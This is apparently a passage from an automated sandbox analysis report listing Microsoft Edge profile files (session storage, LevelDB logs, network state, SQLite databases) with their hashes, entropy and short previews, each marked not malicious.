Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............C[0.b................next-map-id.1.Cnamespace-94a5edb0_b13f_404e_98ba_6d5a2a33d51d-https://ntp.msn.com/.0H...~................map-0-shd_sweeper.{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.p.r.g.-.m.s.n.-.o.l.d.b.r.a.n.d.,.a.d.s.-.w.w.-.t.u.n.e.1.-.d.e.f.b.l.k.,.a.d.s.-.s.m.a.r.t.b.l.c.k.-.d.n.k.,.k.w.-.c.b.v.4.-.d.e.f.a.u.l.t.1.,.k.w.-.s.i.-.d.e.f.a.u.l.t.3.,.s.i.d.-.n.e.w.-.c.l.i.d.,.s.i.d.-.w.1.-.a.d.d.g.n.o.i.s.e.,.s.i.d.-.w.3.-.a.d.d.g.n.o.i.s.e.,.s.i.d.a.m.o.-.w.1.-.u.n.i.-.s.t.a.g.e.-.1.,.s.i.d.a.m.o.-.w.3.-.u.n.i.-.s.t.a.g.e.-.1.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.p.n.p.w.e.a.t.o.d.a.y.,.p.r.g.-.s.p.-.l.a.y.o.u.t.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.l.3.l.w.m.b.a.1.5.,.p.r.g.-.1.s.w.-.s.a.f.f.v.3.t.2.,.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.4.,.p.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.154632176798902
Encrypted:	false
SSDEEP:	6:H6/fQS7Aq2PN723oH+TcwtrQMxIFUt8Y6/fQSgZmw+Y6/fQSTbkwON723oH+TcwJ:+QMAvVaYebCFUt8xQN/+xQI5OaYebtJ
MD5:	38E0C0B6B61349B7FE86CD34B8286D31
SHA1:	3C3FF3CECD4BAAE70A998CCD0A658F8F38D2451D
SHA-256:	2CEDD6786EC13E32A8BC8F7CF9A5ACBC0F47747BE4F5AEA3B4B6A28AAA90741D
SHA-512:	AB5E39B7A57FC370A47ED9F4EE10891694EF2C8EE6152F2263E095C7620E1D09929FFE890B8BF0DA9E0328A37DCD398192E98593FE2EE3636CA71E2D9A65B68E
Malicious:	false
Preview:	2024/11/05-14:52:38.278 ab0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/05-14:52:38.279 ab0 Recovering log #3.2024/11/05-14:52:38.281 ab0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.154632176798902
Encrypted:	false
SSDEEP:	6:H6/fQS7Aq2PN723oH+TcwtrQMxIFUt8Y6/fQSgZmw+Y6/fQSTbkwON723oH+TcwJ:+QMAvVaYebCFUt8xQN/+xQI5OaYebtJ
MD5:	38E0C0B6B61349B7FE86CD34B8286D31
SHA1:	3C3FF3CECD4BAAE70A998CCD0A658F8F38D2451D
SHA-256:	2CEDD6786EC13E32A8BC8F7CF9A5ACBC0F47747BE4F5AEA3B4B6A28AAA90741D
SHA-512:	AB5E39B7A57FC370A47ED9F4EE10891694EF2C8EE6152F2263E095C7620E1D09929FFE890B8BF0DA9E0328A37DCD398192E98593FE2EE3636CA71E2D9A65B68E
Malicious:	false
Preview:	2024/11/05-14:52:38.278 ab0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/05-14:52:38.279 ab0 Recovering log #3.2024/11/05-14:52:38.281 ab0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375309960092650

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8120560270882824
Encrypted:	false
SSDEEP:	24:34TbYnXeVmG8GFEoPSppsAF4unxHotLp3X2amEtG1Chq1TSY8DUmQKkOAM4k:34/kOVVPIzFGLp2FEkChZvUXHOpb
MD5:	7B5D4529C90771C2791669A74044826F
SHA1:	03C866754B251D242F5227DD9F3CB626B9FFB05A
SHA-256:	C42EB4E8732AB29B5EDDF93A39B950DFAFE8D42123ADA02586814FB0CBAF12A5
SHA-512:	577BB4D619798DD1BCEB43450440637CA718E9C9CA01A81E8241C5D1D0B07DA7D9DE8F91957EF47B0C70EE612C46F7FA770D476FCD18B81364A82F24570D371D
Malicious:	false
Preview:	SNSS..........x..............x......"...x..............x..........x..........x..........x....!.....x..................................x...x1..,......x$...94a5edb0_b13f_404e_98ba_6d5a2a33d51d......x..........x....a\............x......x..........................x....................5..0......x&...{46F3A197-DB49-410A-81B3-94975C835573}........x..........x.............................x..............x........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......^.l./&.._.l./&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.157597428915587
Encrypted:	false
SSDEEP:	6:H6/fQHL+q2PN723oH+Tcwt7Uh2ghZIFUt8Y6/fQrz1Zmw+Y6/fQrlLVkwON723oz:+QHyvVaYebIhHh2FUt8xQrZ/+xQrlR5g
MD5:	85CDC363C731BFA9C07E2705870D5D4D
SHA1:	B8EFF836690DFEEC6FDEAD9A1A788A71BD9A2BF6
SHA-256:	466FC73B598C774B5B8337B3B207D3DDA1CD5FFC091DBD098B1B4B179B744D14
SHA-512:	08B99CDA7E4DA34E40026FC36EB1E0B5D5AE22186AF64037961D7AF55F08C6664B2E863D2DE37349F884EAD9320EE0B11039E6E4D8033E754AE3BF2D49FFFDAB
Malicious:	false
Preview:	2024/11/05-14:52:37.609 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/05-14:52:37.610 11c8 Recovering log #3.2024/11/05-14:52:37.610 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.157597428915587
Encrypted:	false
SSDEEP:	6:H6/fQHL+q2PN723oH+Tcwt7Uh2ghZIFUt8Y6/fQrz1Zmw+Y6/fQrlLVkwON723oz:+QHyvVaYebIhHh2FUt8xQrZ/+xQrlR5g
MD5:	85CDC363C731BFA9C07E2705870D5D4D
SHA1:	B8EFF836690DFEEC6FDEAD9A1A788A71BD9A2BF6
SHA-256:	466FC73B598C774B5B8337B3B207D3DDA1CD5FFC091DBD098B1B4B179B744D14
SHA-512:	08B99CDA7E4DA34E40026FC36EB1E0B5D5AE22186AF64037961D7AF55F08C6664B2E863D2DE37349F884EAD9320EE0B11039E6E4D8033E754AE3BF2D49FFFDAB
Malicious:	false
Preview:	2024/11/05-14:52:37.609 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/05-14:52:37.610 11c8 Recovering log #3.2024/11/05-14:52:37.610 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.21217647595943
Encrypted:	false
SSDEEP:	12:+QGvVaYebvqBQFUt8xQxy/+xQx4b5OaYebvqBvJ:+NVaYebvZg8x4V44NOaYebvk
MD5:	1AD74F16680B6151E3E50002009A54B8
SHA1:	CF57A4BF3BFCA5582A382E53E14C8F196CD959AB
SHA-256:	1E10637992229A16B45ADF53F9CABBAE5779BEC09E2B7E33F9C443826910A05E
SHA-512:	754248670330AA5839179357AE6735F418C08760F423A0DE3DCBCC920951B5F9F6F2D9F2011ED5A65F49B2C49165A70630ADC042ED2FFAD995731CD3AA5D25EA
Malicious:	false
Preview:	2024/11/05-14:52:38.299 ab0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/05-14:52:38.300 ab0 Recovering log #3.2024/11/05-14:52:38.304 ab0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.21217647595943
Encrypted:	false
SSDEEP:	12:+QGvVaYebvqBQFUt8xQxy/+xQx4b5OaYebvqBvJ:+NVaYebvZg8x4V44NOaYebvk
MD5:	1AD74F16680B6151E3E50002009A54B8
SHA1:	CF57A4BF3BFCA5582A382E53E14C8F196CD959AB
SHA-256:	1E10637992229A16B45ADF53F9CABBAE5779BEC09E2B7E33F9C443826910A05E
SHA-512:	754248670330AA5839179357AE6735F418C08760F423A0DE3DCBCC920951B5F9F6F2D9F2011ED5A65F49B2C49165A70630ADC042ED2FFAD995731CD3AA5D25EA
Malicious:	false
Preview:	2024/11/05-14:52:38.299 ab0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/05-14:52:38.300 ab0 Recovering log #3.2024/11/05-14:52:38.304 ab0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7032305f-e732-4f2e-b421-7ecacf8e3c5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\72215f91-f41c-4268-b4bc-491c4896382c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7249d040-71a4-4aab-95f9-dcc7bf5c67b5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9109ccf1-37c0-4f15-8b0f-d399657b5201.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4eb08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF513dd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bc39edb6-4fcf-434f-adbc-fcc86a419f96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.19279888226537
Encrypted:	false
SSDEEP:	12:+QMoFIvVaYebvqBZFUt8xQMyVU/+xQMy75OaYebvqBaJ:+HY6VaYebvyg8xHyV7HytOaYebvL
MD5:	68FDFC111444622DCF49F382B26B7FD5
SHA1:	2845D8A9083CA097811993A7E67CE4013BD89F41
SHA-256:	E90A88A3A89B5D0AE17DA2BAE79E5DD509D82CE7EF860787E69543DEA8E01EB7
SHA-512:	451FC057AF8D89D5C63C9E7AEDA16256441573DC7D16C1EF1A87DA4383B0C33D645259A73259E22F1B911DAA8EC3ECADB7FBA93814263C953DCF5A067ED8975F
Malicious:	false
Preview:	2024/11/05-14:52:54.338 ab0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/05-14:52:54.340 ab0 Recovering log #3.2024/11/05-14:52:54.343 ab0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.19279888226537
Encrypted:	false
SSDEEP:	12:+QMoFIvVaYebvqBZFUt8xQMyVU/+xQMy75OaYebvqBaJ:+HY6VaYebvyg8xHyV7HytOaYebvL
MD5:	68FDFC111444622DCF49F382B26B7FD5
SHA1:	2845D8A9083CA097811993A7E67CE4013BD89F41
SHA-256:	E90A88A3A89B5D0AE17DA2BAE79E5DD509D82CE7EF860787E69543DEA8E01EB7
SHA-512:	451FC057AF8D89D5C63C9E7AEDA16256441573DC7D16C1EF1A87DA4383B0C33D645259A73259E22F1B911DAA8EC3ECADB7FBA93814263C953DCF5A067ED8975F
Malicious:	false
Preview:	2024/11/05-14:52:54.338 ab0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/05-14:52:54.340 ab0 Recovering log #3.2024/11/05-14:52:54.343 ab0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.2269925545843
Encrypted:	false
SSDEEP:	6:H6/fQXkQ+q2PN723oH+TcwtpIFUt8Y6/fQvdWZmw+Y6/fQecQVkwON723oH+Tcwd:+QXR+vVaYebmFUt8xQVW/+xQepV5OaYM
MD5:	1A91B54F54F4B1AC1CDCA8DA6C576DB4
SHA1:	FF04C400B3A0D6EF7F9D9A6A6F53C2EEB17D7005
SHA-256:	8F8E284E2E9AB31C1FB48393D0DE73BB45BFA7745084BDFA38CD6B061CAF2E08
SHA-512:	22B8858918433B0440A10AB411C005B362AE88113A15B9E3D0DC7569F6877CE4FA89BD778274D3F3D92FE5D94EB99EDFA9BFA34352E5D6E4DD65367EE5347BE6
Malicious:	false
